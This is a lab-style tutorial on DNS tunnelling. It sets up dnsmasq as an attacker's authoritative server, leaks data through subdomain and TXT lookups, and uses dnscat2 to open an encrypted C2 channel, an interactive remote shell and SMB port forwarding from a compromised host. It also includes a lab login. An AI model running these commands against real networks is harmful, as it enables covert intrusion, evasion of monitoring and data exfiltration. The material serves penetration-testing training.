Introduction

DNS (Domain Name System) is a fundamental part of the internet, translating human-readable domain names into IP addresses. However, its ubiquitous nature and the fact that it’s often less scrutinized than HTTP/HTTPS traffic make it an attractive vector for bypassing network security controls, including Deep Packet Inspection (DPI). This post explores how DNS can be used for data exfiltration and establishing covert command-and-control (C2) channels, focusing on the dnscat2 tool.

DNS Fundamentals Review

Before diving into tunneling, let’s quickly recap some DNS basics.

DNS Record Types

DNS Query Flow (Recursive)

A typical DNS query involves multiple steps, often recursively querying different DNS servers until the authoritative answer is found.

Scenario Overview

Imagine a scenario where an attacker has compromised an internal machine (PGDATABASE01) but outbound connections are heavily restricted, potentially by a DPI system. However, DNS queries are allowed. The attacker controls an external machine (FELINEAUTHORITY, simulated here within the internal network for demonstration) and wants to establish a C2 channel or exfiltrate data.

• Attacker Machine: Kali (controls FELINEAUTHORITY and the initial exploit)
• Compromised Internal Machine: PGDATABASE01 (limited outbound access)
• Attacker-Controlled “External” Server: FELINEAUTHORITY (will act as the DNS C2 server)
• Intermediate Server: MULTISERVER03 (DNS resolver used by PGDATABASE01)

Simulating an Authoritative DNS Server with Dnsmasq

To control DNS responses for our target domain (feline.corp), we can use dnsmasq on FELINEAUTHORITY. We configure it to act as the authoritative server for feline.corp without relying on upstream resolvers or local host files.

dnsmasq.conf:

# Do not read /etc/resolv.conf or /etc/hosts
no-resolv
no-hosts

# Define the zone
auth-zone=feline.corp
auth-server=feline.corp

Start Dnsmasq:

# On FELINEAUTHORITY
sudo dnsmasq -C dnsmasq.conf -d

The -d flag keeps it running in the foreground for easy observation.

Basic Data Exfiltration via DNS Lookups

Even without a sophisticated tool, we can leak information. When PGDATABASE01 tries to resolve a subdomain like some-secret-data.feline.corp, the query eventually reaches our controlled dnsmasq server on FELINEAUTHORITY.

Checking DNS Settings on PGDATABASE01:

# On PGDATABASE01
resolvectl status
# Note the DNS server listed (e.g., 10.4.50.64 - MULTISERVER03 in the example)

Performing the Lookup:

# On PGDATABASE01
nslookup exfiltrated-data.feline.corp
# Expected Output: ** server can't find ... NXDOMAIN

This fails because our basic dnsmasq config doesn’t define this record.

Observing the Query on FELINEAUTHORITY: We use tcpdump to watch for DNS traffic (UDP port 53).

# On FELINEAUTHORITY (in another shell)
sudo tcpdump -i ens192 udp port 53

We should see the incoming query for exfiltrated-data.feline.corp and the NXDOMAIN response going back.

# Example tcpdump output
04:57:40.721682 IP 192.168.50.64.65122 > 192.168.118.4.domain: 26234+ [1au] A? exfiltrated-data.feline.corp. (57)
04:57:40.721786 IP 192.168.118.4.domain > 192.168.50.64.65122: 26234 NXDomain 0/0/1 (57)

This demonstrates that data encoded within subdomain requests can leave the restricted network via DNS queries. Using A records is inefficient; TXT records are better suited for carrying larger payloads.

Using TXT Records: Modify dnsmasq to serve TXT records:

dnsmasq_txt.conf:

no-resolv
no-hosts
auth-zone=feline.corp
auth-server=feline.corp
# TXT record
txt-record=www.feline.corp,"here's something useful!"
txt-record=www.feline.corp,"here's something else less useful."

Run dnsmasq with the new config and query from PGDATABASE01:

# On PGDATABASE01
nslookup -type=txt www.feline.corp
# Server: 192.168.50.64 ...
# Non-authoritative answer:
# www.feline.corp text = "here's something useful!"
# www.feline.corp text = "here's something else less useful."

This shows data can also be sent back to the compromised host via TXT records.

Advanced Tunneling with dnscat2

dnscat2 is a tool specifically designed to create an encrypted C2 channel over the DNS protocol. It uses various record types (TXT, CNAME, MX) to encapsulate data.

1. Start the dnscat2 Server: On the attacker’s machine (FELINEAUTHORITY), run the server, telling it which domain it controls.

# On FELINEAUTHORITY
dnscat2-server feline.corp --secret=YOUR_SECRET_KEY # Using a secret is recommended
# Output shows instructions and waits for client connection...
# Note the secret key generated if you don't provide one.

2. Run the dnscat2 Client: Assuming the client binary has been transferred to the compromised host (PGDATABASE01):

# On PGDATABASE01
./dnscat feline.corp --secret=YOUR_SECRET_KEY
# Output:
# Creating DNS driver: ...
# Encrypted session established! ... Verify server phrase:
# Annoy Mona Spiced Outran Stump Visas
# Session established!

3. Server Confirmation: The server console will confirm the connection and display the same verification phrase.

# dnscat2 server output
dnscat2> New window created: 1
Session 1 security: ENCRYPTED BUT *NOT* VALIDATED
For added security, please ensure the client displays the same string:

>> Annoy Mona Spiced Outran Stump Visas

dnscat2>

4. Interacting with the Session: You now have an interactive session. Use windows to list sessions and window -i <id> (e.g., window -i 1) to interact. The ? command lists available commands within the session (like ping, exec, shell, download, upload, listen).

dnscat2> window -i 1
command (pgdatabase01) 1> ?
# Shows available commands...
command (pgdatabase01) 1> shell
New window created: 2
history_size (session) => 1000
This is a shell session!

Type 'help' for help.

shell (pgdatabase01) 2> whoami
database_admin
shell (pgdatabase01) 2>

5. Port Forwarding over DNS: dnscat2 can forward TCP connections through the tunnel using the listen command (similar to ssh -L). Let’s forward a local port 4455 on FELINEAUTHORITY to the SMB port (445) of another internal machine (HRSHARES at 172.16.2.11).

# In the dnscat2 command session (window 1)
command (pgdatabase01) 1> listen 127.0.0.1:4455 172.16.2.11:445
# Listening on 127.0.0.1:4455, sending connections to 172.16.2.11:445

6. Accessing the Forwarded Port: Now, from another terminal on FELINEAUTHORITY, connect to localhost:4455. This traffic will be tunneled via DNS through PGDATABASE01 to HRSHARES:445.

# On FELINEAUTHORITY (another terminal)
smbclient -p 4455 -L //127.0.0.1 -U hr_admin --password=Welcome1234
# Output should list shares from HRSHARES...
# Sharename Type Comment
# ---------